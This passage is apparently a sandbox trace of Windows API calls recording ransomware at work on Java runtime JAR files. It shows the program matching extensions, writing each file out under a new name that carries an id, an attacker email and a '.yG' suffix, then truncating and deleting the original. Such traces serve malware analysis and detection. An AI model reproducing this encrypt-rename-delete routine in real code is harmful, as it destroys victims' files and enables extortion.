	[0141.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.871] lstrlenW (lpString=".zip") returned 4
	[0141.871] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0141.871] lstrlenW (lpString=".rar") returned 4
	[0141.871] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0141.871] lstrlenW (lpString=".bz2") returned 4
	[0141.871] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0141.871] lstrlenW (lpString=".7z") returned 3
	[0141.871] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0141.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.871] lstrlenW (lpString=".dbf") returned 4
	[0141.871] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0141.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.871] lstrlenW (lpString=".1cd") returned 4
	[0141.872] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0141.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.872] lstrlenW (lpString=".jpg") returned 4
	[0141.872] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0141.872] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.872] lstrlenW (lpString="sunjce_provider.jar") returned 19
	[0141.872] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.873] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=280161) returned 1
	[0141.873] CloseHandle (hObject=0x428) returned 1
	[0141.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20
	[0141.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.873] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.874] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.874] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.874] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0141.874] GetLastError () returned 0x0
	[0141.874] ReadFile (in: hFile=0x428, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x44661, lpOverlapped=0x0) returned 1
	[0141.904] WriteFile (in: hFile=0x424, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x44670, lpOverlapped=0x0) returned 1
	[0141.912] ReadFile (in: hFile=0x428, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.912] WriteFile (in: hFile=0x424, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0141.912] SetEndOfFile (hFile=0x424) returned 1
	[0141.912] CloseHandle (hObject=0x424) returned 1
	[0141.912] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.913] SetEndOfFile (hFile=0x428) returned 1
	[0141.922] CloseHandle (hObject=0x428) returned 1
	[0141.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0142.477] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1
	[0142.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.661] lstrlenW (lpString=".doc") returned 4
	[0142.661] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0142.661] lstrlenW (lpString=".docx") returned 5
	[0142.661] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0142.661] lstrlenW (lpString=".pdf") returned 4
	[0142.661] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0142.661] lstrlenW (lpString=".xls") returned 4
	[0142.661] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0142.661] lstrlenW (lpString=".xlsx") returned 5
	[0142.661] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0142.661] lstrlenW (lpString=".ppt") returned 4
	[0142.661] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0142.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.661] lstrlenW (lpString=".zip") returned 4
	[0142.661] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0142.661] lstrlenW (lpString=".rar") returned 4
	[0142.661] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0142.661] lstrlenW (lpString=".bz2") returned 4
	[0142.661] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0142.661] lstrlenW (lpString=".7z") returned 3
	[0142.661] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0142.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.661] lstrlenW (lpString=".dbf") returned 4
	[0142.661] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0142.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.662] lstrlenW (lpString=".1cd") returned 4
	[0142.662] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0142.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.662] lstrlenW (lpString=".jpg") returned 4
	[0142.662] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0142.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.662] lstrlenW (lpString=".doc") returned 4
	[0142.662] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0142.662] lstrlenW (lpString=".docx") returned 5
	[0142.662] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0142.662] lstrlenW (lpString=".pdf") returned 4
	[0142.662] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0142.662] lstrlenW (lpString=".xls") returned 4
	[0142.662] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0142.662] lstrlenW (lpString=".xlsx") returned 5
	[0142.662] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0142.662] lstrlenW (lpString=".ppt") returned 4
	[0142.662] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0142.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.662] lstrlenW (lpString=".zip") returned 4
	[0142.662] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0142.662] lstrlenW (lpString=".rar") returned 4
	[0142.662] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0142.662] lstrlenW (lpString=".bz2") returned 4
	[0142.662] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0142.663] lstrlenW (lpString=".7z") returned 3
	[0142.663] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0142.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.663] lstrlenW (lpString=".dbf") returned 4
	[0142.663] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0142.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.663] lstrlenW (lpString=".1cd") returned 4
	[0142.663] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0142.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0142.663] lstrlenW (lpString=".jpg") returned 4
	[0142.663] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0142.663] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0142.663] lstrlenW (lpString="sunmscapi.jar") returned 13
	[0142.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0142.664] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=32699) returned 1
	[0142.664] CloseHandle (hObject=0x49c) returned 1
	[0142.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20
	[0142.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0142.664] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0142.665] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.665] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.665] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0142.665] GetLastError () returned 0x0
	[0142.665] ReadFile (in: hFile=0x49c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x7fbb, lpOverlapped=0x0) returned 1
	[0142.671] WriteFile (in: hFile=0x424, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x7fc0, lpOverlapped=0x0) returned 1
	[0142.672] ReadFile (in: hFile=0x49c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0142.672] WriteFile (in: hFile=0x424, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xee, lpOverlapped=0x0) returned 1
	[0142.673] SetEndOfFile (hFile=0x424) returned 1
	[0142.673] CloseHandle (hObject=0x424) returned 1
	[0142.673] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.673] SetEndOfFile (hFile=0x49c) returned 1
	[0142.676] CloseHandle (hObject=0x49c) returned 1
	[0142.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0142.677] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1
	[0142.677] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.677] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.677] lstrlenW (lpString=".doc") returned 4
	[0142.677] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0142.678] lstrlenW (lpString=".docx") returned 5
	[0142.678] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0142.678] lstrlenW (lpString=".pdf") returned 4
	[0142.678] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0142.678] lstrlenW (lpString=".xls") returned 4
	[0142.678] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0142.678] lstrlenW (lpString=".xlsx") returned 5
	[0142.678] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0142.678] lstrlenW (lpString=".ppt") returned 4
	[0142.678] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0142.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.678] lstrlenW (lpString=".zip") returned 4
	[0142.678] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0142.678] lstrlenW (lpString=".rar") returned 4
	[0142.678] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0142.678] lstrlenW (lpString=".bz2") returned 4
	[0142.678] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0142.678] lstrlenW (lpString=".7z") returned 3
	[0142.678] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0142.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.678] lstrlenW (lpString=".dbf") returned 4
	[0142.678] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0142.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.678] lstrlenW (lpString=".1cd") returned 4
	[0142.678] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0142.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.679] lstrlenW (lpString=".jpg") returned 4
	[0142.679] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0142.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.679] lstrlenW (lpString=".doc") returned 4
	[0142.679] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0142.679] lstrlenW (lpString=".docx") returned 5
	[0142.679] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0142.679] lstrlenW (lpString=".pdf") returned 4
	[0142.679] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0142.679] lstrlenW (lpString=".xls") returned 4
	[0142.679] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0142.679] lstrlenW (lpString=".xlsx") returned 5
	[0142.679] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0142.679] lstrlenW (lpString=".ppt") returned 4
	[0142.679] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0142.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.679] lstrlenW (lpString=".zip") returned 4
	[0142.679] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0142.679] lstrlenW (lpString=".rar") returned 4
	[0142.679] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0142.679] lstrlenW (lpString=".bz2") returned 4
	[0142.679] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0142.680] lstrlenW (lpString=".7z") returned 3
	[0142.680] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0142.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.680] lstrlenW (lpString=".dbf") returned 4
	[0142.680] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0142.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.680] lstrlenW (lpString=".1cd") returned 4
	[0142.680] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0142.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0142.680] lstrlenW (lpString=".jpg") returned 4
	[0142.680] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0142.680] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0142.680] lstrlenW (lpString="sunpkcs11.jar") returned 13
	[0142.680] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0142.681] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=251327) returned 1
	[0142.681] CloseHandle (hObject=0x49c) returned 1
	[0142.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20
	[0142.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0142.681] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0142.681] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.682] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.682] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0142.682] GetLastError () returned 0x0
	[0142.682] ReadFile (in: hFile=0x49c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x3d5bf, lpOverlapped=0x0) returned 1
	[0142.691] WriteFile (in: hFile=0x424, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x3d5c0, lpOverlapped=0x0) returned 1
	[0142.696] ReadFile (in: hFile=0x49c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0142.696] WriteFile (in: hFile=0x424, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xee, lpOverlapped=0x0) returned 1
	[0142.696] SetEndOfFile (hFile=0x424) returned 1
	[0142.696] CloseHandle (hObject=0x424) returned 1
	[0142.696] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.697] SetEndOfFile (hFile=0x49c) returned 1
	[0143.753] CloseHandle (hObject=0x49c) returned 1
	[0143.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0144.037] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1
	[0144.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.047] lstrlenW (lpString=".doc") returned 4
	[0144.047] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0144.047] lstrlenW (lpString=".docx") returned 5
	[0144.047] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0144.047] lstrlenW (lpString=".pdf") returned 4
	[0144.047] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0144.047] lstrlenW (lpString=".xls") returned 4
	[0144.048] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0144.048] lstrlenW (lpString=".xlsx") returned 5
	[0144.048] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0144.048] lstrlenW (lpString=".ppt") returned 4
	[0144.048] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0144.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.048] lstrlenW (lpString=".zip") returned 4
	[0144.048] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0144.048] lstrlenW (lpString=".rar") returned 4
	[0144.048] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0144.048] lstrlenW (lpString=".bz2") returned 4
	[0144.048] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0144.048] lstrlenW (lpString=".7z") returned 3
	[0144.048] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0144.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.048] lstrlenW (lpString=".dbf") returned 4
	[0144.048] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0144.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.049] lstrlenW (lpString=".1cd") returned 4
	[0144.049] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0144.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.049] lstrlenW (lpString=".jpg") returned 4
	[0144.049] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0144.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.049] lstrlenW (lpString=".doc") returned 4
	[0144.049] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0144.049] lstrlenW (lpString=".docx") returned 5
	[0144.049] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0144.049] lstrlenW (lpString=".pdf") returned 4
	[0144.049] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0144.049] lstrlenW (lpString=".xls") returned 4
	[0144.049] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0144.049] lstrlenW (lpString=".xlsx") returned 5
	[0144.049] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0144.049] lstrlenW (lpString=".ppt") returned 4
	[0144.050] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0144.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.050] lstrlenW (lpString=".zip") returned 4
	[0144.050] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0144.050] lstrlenW (lpString=".rar") returned 4
	[0144.050] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0144.050] lstrlenW (lpString=".bz2") returned 4
	[0144.050] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0144.050] lstrlenW (lpString=".7z") returned 3
